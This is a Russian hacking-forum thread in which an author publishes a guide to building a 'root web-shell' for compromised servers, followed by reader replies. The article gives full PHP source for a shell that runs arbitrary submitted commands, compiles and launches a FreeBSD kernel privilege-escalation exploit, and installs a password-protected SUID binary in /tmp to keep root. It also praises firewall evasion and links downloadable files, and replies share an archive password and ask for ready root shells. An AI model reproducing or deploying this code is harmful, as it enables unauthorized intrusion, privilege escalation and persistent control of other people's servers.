Авторские статьи Root'овый Web-shell

Discussion in 'Статьи' started by Twoster, 13 Nov 2009.

  1. Twoster

    Twoster Members of Antichat

    Joined:
    20 Aug 2008
    Messages:
    287
    Likes Received:
    402
    Reputations:
    159
    Оригинал статьи можете прочесть в Ноябрьском номере журнала Хакер или на моем сайте http://twost.ru

    Итак, уважаемый Читатель, сегодня мы с тобой свершим переворот в сложившихся устоях ][ак-мира. Наверняка ты уже имел дело с web-shell'ами, такими как r57, c99, WSO2 и иже с ними. Так, вот о чем я — наверняка зайдя на свежезалитый шелл, ты первым делом смотришь свои права в системе, а именно результат команды «id» в nix-like системах.
    Вот к примеру наши права по дефолту uid=80(www), gid=80(www), groups=80(www), т.е. права обычного юзера www! =( Но, не отчаивайся, сегодня мы научимся поднимать их до r00t'a и сохранять (!) непосредственно в веб-шелле, это наверняка мечта любого хакера.

    Немного теории
    Итак, с теорией покончили (надеюсь было не скучно), движемся далее...

    Наполеоновские планы

    Планы у нас круче, чем у Наполеона, мы собираемся сделать мировую революцию.


    Для начала распишем планы нашей революции, нам предстоит удивить всех своим (!) рутовым web-шеллом, которого нет ни у кого! А именно, нам предстоит:
    1)Составить задачу и продумать алгоритм работы нашего чудо-шелла
    2)Накодить SUIDник
    3)Накодить непосредственно сам web-Shell
    4)Связать все эти прелести чудесных языков программирования
    5)и таки получить и сохранить r00t'a на вражеском сервере

    Первым делом, первым делом... алгоритмы

    Сначала придумаем алгоритм работы и вообще всю схему получения и сохранения рута.
    Сразу предупрежу, что тестировать наше детище мы будем на сервере с установленной freeBSD 7.1, причины сего деяния оглашу позже.
    Смысл всей нашей затеи состоит в следующем — мы запустим эксплоит из WEB'а, т.е. непосредственно из нашего любимого браузера, установим суидные права и сменим хозяина (owner'a) нашему суиднику и наконец-таки будем выполнять команды под рутом.
    Разберемся поглубже, почему же мы выбрали для теста именно freeBSD 7.1? Все гениальное просто, мы ведь будем юзать эксплойт из веба, а под данную ОСь как раз есть подходящий эксплойт ktimer (http://milw0rm.com/exploits/8261), вся его прелесть заключается в том, что результат его работы — не получение /bin/sh, а установка uid=0, gid=0 вызывающему процессу, а это-то нам и нужно.

    От слов к делу, начинаем ][-кодинг. PART I (Пишем SUIDник.)

    Я сразу приведу листинг кода, а уж после будем с тобой его разбирать.


    Ну, думаю глядя на комментарии уже становится ясен смысл нашей программы.
    Сначала мы проверяем количество аргументов их должно быть три, argv[0] – имя самого скомпилированного SUIDника, argv[1] – наш пароль и argv[2]- непосредственно сама команда.
    Сразу разберемся с некоторыми моментами работы с бинарными файлами при установленном SUID-бите, дабы не возвращаться к этому позднее.

    1) -rwxr-x--x 1 www apache 5043 2009-09-09 13:51 suid
    Файл suid с правами доступа -rwxr-x--x, т.е. хозяин файла (www) может читать, изменять и запускать на исполнение, члены группы (apache) могут читать и запускать файл на исполнение, а все остальные пользователи могут только лишь запускать на исполнение.
    К примеру результат команды id через наш файл для членов группы site будет подобным uid=80(site), gid=80(site), groups=80(apache)

    2) Устанавливаем бит SUID на файл командой chmod 4751 suid

    -rwsr-x--x 1 www apache 5043 2009-09-09 13:51 suid
    Наверняка заметили, что символ x (запуск на исполнение) сменился на s (SUID бит). Как мы уже знаем бинарник с суид битом будет выполняться не от имени вызывающего, а от имени хозяина (owner'a). Опять же результат команды id через наш файл для членов группы site будет подобным uid=80(www), gid=80(www), groups=80(apache)

    3) Забегая вперед обозначим, что нам придется сменить владельца файла, мы это сделаем под рутом командой chown root suid.
    -rwsr-x--x 1 root apache 5043 2009-09-09 13:51 suid
    И снова результат команды id через наш файл будет подобным uid=0(root), gid=0(root), groups=80(apache). Исходя из этого, уже видно что любой пользователь системы, даже не входя в состав группа хозяина имеет право на запуск бинарника, да мало того, еще и в правами хозяина, то бишь рута, т.к установлен SUID-бит.

    Так-с, с этим разобрались, осталась самая малость, скомпилировать файл, делаем это командой gcc suid.c -o suid. В итоге получаем бинарный файл suid.
    Пример использования будет таков - "./suid cool_hack id" (имя файла, пароль, команда)


    От слов к делу, начинаем ][-кодинг. PART II (Пишем web-shell.)

    PHP:
    <?php
    /************************* CONFIGURATION **************************************/
    $pass_suid 'cool_hack'// пароль, который мы установили в сорцах суидника
    /************************* END CONFIGURATION **********************************/

    /************************* FUNCTIONS ******************************************/

    /*
    Наша функция по выполнению команд
    Если существует файл /tmp/conf (так мы замаскировали наш суидник),
    то выполнение команд идет через него, иначе просто функцией system.
    */
    function hack_system($cmd,$pass_suid)
    {
        if(
    file_exists('/tmp/conf')){

            
    system('/tmp/conf '.$pass_suid.' "'.$cmd.'"'));

        }
        else{

            
    system($cmd);
        }         

    }

    /*
    Вот и наша главная функция, которая скопирует наш эксплойт и суидник,
    скомпилирует их и запустит
    */
    function give_me_root()
    {
        
    // компилируем эксплойт
        
    system('gcc bsd-ktimer.c -o /tmp/configure');

        
    // компилируем суидник
        
    system('gcc suid.c -o /tmp/conf');

        
    // запускаем сплойт, меняем овнера суиднику и устанавливаем права
        
    system('/tmp/configure; chown root /tmp/conf; chmod 4777 /tmp/conf');

        return print 
    'OK!';
    }

    /************************* END FUNCTIONS **************************************/

    print
    '<html>'.
    '<head>'.
    '<title>r00t web-shell</title>'.
    '</head>'.
    '<body>';

    /************************* MAIN CODE ******************************************/

    /*
    Выводим форму для выполнения команд
    */
    if(!isset($_POST['cmd'])){
    print 
    '<form method="post">'.
    '<input name="cmd" type="text" value="ls -lia">'.
    '<input type="submit" value="Go">'.
    '</form><br><br>';
    }
    else
    {
        
    hack_system($_POST['cmd'],$pass_suid);
    }

    /*
    Выводим заветную кнопочку для получения рута
    */
    if(!isset($_POST['give_me_root'])){
    print 
    '<form method="post">
    <input type="submit" name="give_me_root" value="Give me r00t">
    </form>'
    ;
    }
    else
    {
        
    give_me_root();
    }
    /************************* END CODE *******************************************/
    print
    '</body>'.
    '</html>';
    ?>

    Интеграция, адаптация и прочие непонятные слова

    В итоге предыдущих частей статьи мы таки получили рута, и при последующем посещении web-шелла мы уже будем рутом (при условии, что наш суид-шелл не увидит рут, и не удалит его :) ).
    Однако шелл у нас получился довольно примитивный, чтобы интегрировать наши прелести в привычные шелла типа r57, c99, WSO2 и т.д. принцип работы тот же.
    На диске ты сможешь найти подправленный мною код шелла r57. Единственное, что отличает подправленный r57 от шелла, который мы сегодня с тобой написали, это то, что в r57 я эксплойт и суид-шелл скомпилировал и перевел полученные бинарники в base64, далее вставил полученный код в сам шелл. Далее мы расшифровываем base64 код и сохраняем в файл. Таким образом у нас получается один файл, это удобнее в плане транспортирования и заливки.

    Так, с интеграцией в другие шеллы разобрались, теперь осталось разобрать ситуацию с применением эксплойтов для других операционных систем и других версий.
    Причина по которой я выбрал для теста FreeBSD, как я уже писал в начале статьи в том, что данный эксплойт под версию 7.1 и 7.2 результатом своей работы возвращает не /bin/sh, которой мы бы пользовались при простом бекконекте а возвращает uid и gid 0 для текущего процесса, т.е является универсальным. Последний способ для нас более удачен, т.к. мы можем использовать его непосредственно из web'a. Таким образом мы пришли к выводу, что для использования эксплойта с нашими условиями нам необходимо переписать эксплойты так, чтобы они устанавливали uid, gid, а как это уже организовать - история другой статьи.

    Подводим итоги.

    Итак, пора подвести итоги наших приключений.
    Сразу же хочется отметить плюсы и минусы данного подхода к получению рута.

    [+] Получаем права Root на веб-шелле
    [+] Не нужен сервер для бекконекта
    [+] Обход фаервола, т.к. нет исходящих соединений, бинда порта и т.д. (а зачастую большая проблема для создания бекконекта.)

    [-] Пока малое количество эксплойтов, которые мы можем использовать, остальные нужно редактировать.
    [-] Если наш шелл попадет в руки к нашим недругам, либо просто к нечистым на руку, то злодеи получат уже готовенький root шелл без особых усилий, так что защищайте свой шелл! =)


    Благодарности
    Выражаю благодарность за советы, тестирование и помощь следующим подозрительным личностям - IceAngel_, oRb, jokester

    Файлы к статье - http://dump.ru/file/3762487
     
    #1 Twoster, 13 Nov 2009
    Last edited: 14 Nov 2009
    ACat, c411k, warlok and 21 others like this.
  2. R[00]T1X

    R[00]T1X New Member

    Joined:
    17 Feb 2009
    Messages:
    3
    Likes Received:
    2
    Reputations:
    0
    Отличная статья, читается легко, спасибо!
    Добавлю в закладки.
     
  3. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    любая IDS оч быстро спалит суидник =)
     
  4. Twoster

    Twoster Members of Antichat

    Joined:
    20 Aug 2008
    Messages:
    287
    Likes Received:
    402
    Reputations:
    159
    Spyder, не оставляй неодобрительные комментарии, ты же знаешь, я этого не люблю! :D
    Спасибо за отзыв! =)
     
    1 person likes this.
  5. razb

    razb Active Member

    Joined:
    24 Mar 2009
    Messages:
    658
    Likes Received:
    133
    Reputations:
    18
    Ну вообще то IDS'ы это сетевые мониторы и к суид файлам не имеют ни малейшего отношения, а вот например монитор суидников sXid запалит и rkhunter тоже.
    И еще пасс на суиднике палиться утилитой strings )
     
    2 people like this.
  6. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    razb, IDS - это не только сетевой монитор, нормальна идс следит и за внутренней струкуторой системы и суидники спалит =) Хотя ты прав, что сущесвтуют спец системы для поиска суидников
     
  7. Aртем

    Aртем Member

    Joined:
    18 Oct 2009
    Messages:
    53
    Likes Received:
    31
    Reputations:
    5
    ну и по традиции давай аттач, в целом не плохо, но не универсально.
    и например что бы в этой теме не было два миллиона вопросов по типу "Что такое SUID????" или "Как эксплуатировать эксплоит????7" сними видео подтверждение с подробным описанием действий. Хотя это и не обязательно делать. Молодец.

    [Добавлено]
    После теста твоего предложения, сервер уснул летаргическим сном :(
     
    #7 Aртем, 13 Nov 2009
    Last edited: 13 Nov 2009
  8. razb

    razb Active Member

    Joined:
    24 Mar 2009
    Messages:
    658
    Likes Received:
    133
    Reputations:
    18
    2Spyder
    Все понял, ты имел ввиду HIDS (host-based ids), но вообще просто говоря ids имеется ввиду NIDS (network-based ids), а так согласен )
     
  9. gisTy

    gisTy Elder - Старейшина

    Joined:
    24 May 2008
    Messages:
    432
    Likes Received:
    160
    Reputations:
    27
    мне так кажется, что спудер имел ввиду IDS как общее понятие, которое делится на HIDS/NIDS/etc, а ты росто решил повыеживаться перед зеленым ради репки :eek:
     
    1 person likes this.
  10. Twoster

    Twoster Members of Antichat

    Joined:
    20 Aug 2008
    Messages:
    287
    Likes Received:
    402
    Reputations:
    159
    Aртем, он уснул не из-за моего способа, а из-за сплойта, я уже слышал, что иногда он работает некорректно.
     
  11. [х26]VОLАND

    [х26]VОLАND Elder - Старейшина

    Joined:
    7 Jun 2006
    Messages:
    513
    Likes Received:
    756
    Reputations:
    218
    Неплохо было бы выложить файлы (включая модифицированный r57) сюда...
     
    1 person likes this.
  12. Twoster

    Twoster Members of Antichat

    Joined:
    20 Aug 2008
    Messages:
    287
    Likes Received:
    402
    Reputations:
    159
    Воланд, обновил пост, файлы тут --- http://dump.ru/file/3762487
     
    1 person likes this.
  13. Dyxxx

    Dyxxx Elder - Старейшина

    Joined:
    16 Feb 2009
    Messages:
    107
    Likes Received:
    155
    Reputations:
    24
    гуд, хотя и не особо впечатлило :(
    в зип архиве рар архив с r57 пароль просит =\
     
  14. Sleep

    Sleep Elder - Старейшина

    Joined:
    31 Oct 2007
    Messages:
    274
    Likes Received:
    65
    Reputations:
    4
    Спасибо за статью
    r57shell_root_version (pass - root_version).rar
     
  15. Twoster

    Twoster Members of Antichat

    Joined:
    20 Aug 2008
    Messages:
    287
    Likes Received:
    402
    Reputations:
    159
    Спасибо за отзывы!
    Если у кого есть идеи, вопросы и т.д. рад услышать это все в пм или в комментариях моего блога. Возможно ваш вопрос появится в разделе EasyHack в журнале Хакер.
     
  16. Twoster

    Twoster Members of Antichat

    Joined:
    20 Aug 2008
    Messages:
    287
    Likes Received:
    402
    Reputations:
    159
    Итак, в связи с выходом нового сплойта под фрю 8,0 прошу помощи! =) у кого есть такая фря, затестите плиз выполнение сплойта из веба, по сути работать будет, т.к.
    system("echo ALEX-ALEX;/bin/sh");
    если подправить, то все должно работать. Заранее спасибо, если есть предложения - в личку.
     
  17. svesve

    svesve Elder - Старейшина

    Joined:
    15 Jun 2007
    Messages:
    574
    Likes Received:
    86
    Reputations:
    11
    Ребят кто может файлик перезалить?!
    спасибо.
     
  18. Rbkkk

    Rbkkk New Member

    Joined:
    24 Nov 2012
    Messages:
    26
    Likes Received:
    0
    Reputations:
    0
    парни может кто поделится рут шеллом?
     
  19. ACat

    ACat Member

    Joined:
    10 Mar 2017
    Messages:
    162
    Likes Received:
    31
    Reputations:
    0
    Раньше посоны писали посонам мануалы, креативили. а ща комерция потихоньку вытесняет романтику. и это не только IT касается. в мире наркотиков всевообще плохо стало, куча долбоебов с которых сняли ошейник несется на общую арену....
    Вспоминается мистер Фриман.. ЖРАТЬ, СРАТЬ, РЖАТЬ
     
  20. y-es

    y-es New Member

    Joined:
    1 Jul 2017
    Messages:
    5
    Likes Received:
    2
    Reputations:
    0
    не работает нынче повышение привилегий с www до рута. Ещё б. www запускается же не от рута, как и php.
    пробовал так:

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    int main(void)
    {setgid(0);
    setuid(0);
    system("id");
    system("cat rootReadOnlyFile");
    return 0;}

    <?php
    system("./main");
    exit();?>

    Результат: uid=80(www-user) gid=80(www-user) groups=80(www-user)